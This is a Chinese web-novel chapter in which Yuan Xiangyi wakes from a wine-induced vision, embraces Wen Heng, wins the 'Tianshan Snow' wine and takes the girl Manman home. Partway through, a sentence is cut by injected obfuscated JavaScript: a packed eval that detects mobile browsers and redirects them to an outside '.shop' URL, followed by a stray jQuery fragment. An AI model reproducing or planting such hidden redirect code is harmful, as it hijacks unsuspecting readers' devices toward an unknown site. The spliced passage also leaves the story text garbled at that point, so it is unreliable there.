她喘着气,无力地停留在原地,忽而又看见一个身影。 那身影她认得,只是比她平日所见要更加挺拔结实,少了几分俊逸风流,取而代之的是肃杀之气。 她也顾不得其中的区别,在他背后招手,大喊他的名字:“温衡!” 那人听见她的声音,停下脚步侧过身来,露出姿容绝世的半张脸来。 他逆着光,神态温柔而悲伤,向她伸出一只手。 她完全没有犹豫就握住他的手,像溺水之人抓住了最后一根救命稻草,便被他一把拉出了黑暗。 四周的光线十分刺眼,她用一只手遮住眼睛,缓缓睁开,就发现已经回到了现实中,而自己正紧握着温衡的手,用力到将他的手都握出了红痕。 而在她身旁,他正面带关切地看着她,见她愣神,替她挽了挽耳边的碎发。 她有些不好意思,就要放开他的手,却被他反手握住,轻声问道:“做噩梦了吗?” 她想了想,才回答他:“是,也不是。” 她所追求的人和事,在心底一直都非常清晰。可前世这些如同流沙逝于掌心,到了最后,什么也没能抓住。 在梦境的恐慌中,她突然意识到,原来自己所求的,竟然还有一个人。 可是就连她自己也不知道,这个人是什么时候在心底扎了根。 在无垠的黑暗中,只有他回应了她,向她伸出了手。而他此刻,就在她的面前。 元向依不知道该说什么,只是和他这样对视着,左手默默紧握成拳,克制扑到他怀里的冲动。 温衡注意到了她的举动,突然用了些力道,把她拥到怀里。 从未有过的亲密举动让她瞬间愣住。他蹭着她的发丝,在她耳边道:“不想说便不说罢。” 她刚要提醒这里还有许多人看着,就听他继续说道:“就当是我需要你,依赖你,让我再待一会儿,好吗?” 这是个不错的借口,她心想。 握成拳的手缓慢松开,她认命般地叹了口气,用手攀上了他的肩膀。 衙内也清醒了过来,看着两人相拥的身影,嘴里喃喃道:“没想到还真是一对啊……没骗我……” 有旁人看着,两人就不好再如此亲密,元向依轻轻推了推温衡,示意他松开自己。 松开是松开了,在她看不见的地方,温衡别过脸去,面色不善地瞪了衙内一眼。 丽娘也走了过来,对她道:“姑娘是最后一位了。敢问姑娘,方才都看到了些什么?” 元向依支支吾吾,不知道该如何讲,在众人期待的目光中,指了指温衡的方向。 “他。我看见了他。” 丽娘一怔,瞧了温衡一眼,随即道:“可还有其他景象?” 元向依摇了摇头。 这可奇了,难道说这“天山雪”的致幻作用,对于元向依来说竟然没有效用? 颜殊暗自咂舌,温衡这夫人心志之坚,远非常人能及。普通人所见大多是功名利禄、生老病死,不外如是。 只是若是温衡饮下此酒,想必便是一个他亲近之人都能猜到的梦境。一个,有关于她的梦境。 丽娘摇响金铃,节奏短促明快,将其余人从幻梦中唤醒。她微微一福身,道:“胜负已分,这位姑娘通过了试炼,今次的‘天山雪’便归她所有了。” 衙内眼角犹挂着泪痕,肿着的脸圆鼓鼓的,像个小哭包,此刻颇不服气:“凭什么?她怎么就赢过我们了?不说清楚我可就赖这不走了!” 丽娘挂着温和的笑容,对众人道:“诸位看看便知。” 众人这才环视四周,发现后院一干物什不知何时已被打得稀烂,横飞的木屑和布帛碎片遍地都是,看起来惨不忍睹,连温衡都怔住了。 不过片刻,他便反应过来,恐怕方才众人沉浸于梦中之际,颜殊和蛮蛮两人定是做了些什么,才搞成如今这种局面。 饶是他家大业大,眉心也不由得跳了跳。颜殊这厮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114506|149811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还真是会替他败家啊! 丽娘的表情不无遗憾:“嗯……方才除了这位姑娘,眼前景象诸位都有参与,所以还请按价赔偿。” 温衡白了颜殊一眼,果然物以类聚,人以群分,颜殊比他还能碰瓷! 衙内目瞪口呆,笨拙地想了想,却也像是他会做出来的事,赔钱倒也爽快,留下银票就扬长而去了。左右不是温衡夺得这酒,他正好不用磕头。 文弱公子虽然心有疑虑,却也认了这哑巴亏,毕竟方才梦中做了什么,他真的不记得了。何况这天水阁经营多年,还犯得着来碰瓷他一个无名之辈不成? 元向依担忧地看向温衡,温衡立刻举起双手:“我没有喝酒,一滴也没有。我原就是想陪着你来的,至于这酒,我并不感兴趣。” 她这才放下心来,这厢蛮蛮已经楚楚可怜地拽住了她的衣角。 “姐姐,我是来盛京投亲的,却找不到家里亲人了,如今身上银钱也用完了,你能不能……” 在慷慨解囊这种事上,温衡是指望不上的。元向依叹了口气,她如何能拒绝一个不懂事的小姑娘呢?当下便将身上的钱袋解下来给了蛮蛮,还柔声问道:“够不够?” 蛮蛮捧着钱袋,便向她笑了一笑:“姐姐,你人真好。我现在没处可去,能不能跟你回家呀?我会做很多活计,可以在你家打工抵债的。” 元向依微微有些愣神,想起自己没多少日子便要嫁人了,还是要先征求温衡的意见,便扭头看向他。 温衡只淡淡道:“都听你的。” 于是元向依对她道:“那你先去我那里,等什么时候家人寻来了,再行离开便是。” 蛮蛮娇蛮活泼,天真可爱,元向依忍不住捏了捏她圆圆的脸颊。 温衡心想,不得不说,自己这个夫人还真是好骗。 但是,自己的夫人何时轮得到他人来骗了?无论怎么说,他得让颜殊把依依的私房钱吐出来! * 元向依左手抱着酒坛,右手牵着蛮蛮,和温衡走在街上。 她依然觉得这一天的经历很不真实,怎么自己明明是赴小语的约,到头来却是和温衡待了一天? 温衡送她到将军府附近的路口,她便不让他再送了,万一被她爹发现,又是平添事端。 离婚期不过只有半月了,想来婚前不会再有机会见面,她略微思索,突然将酒坛塞到温衡怀里。 “大婚见。这酒……留着当天喝。” 她说完便牵着蛮蛮跑了,速度极快,似是都不敢回头看他。 唯有温衡在她身后,低低地笑了起来。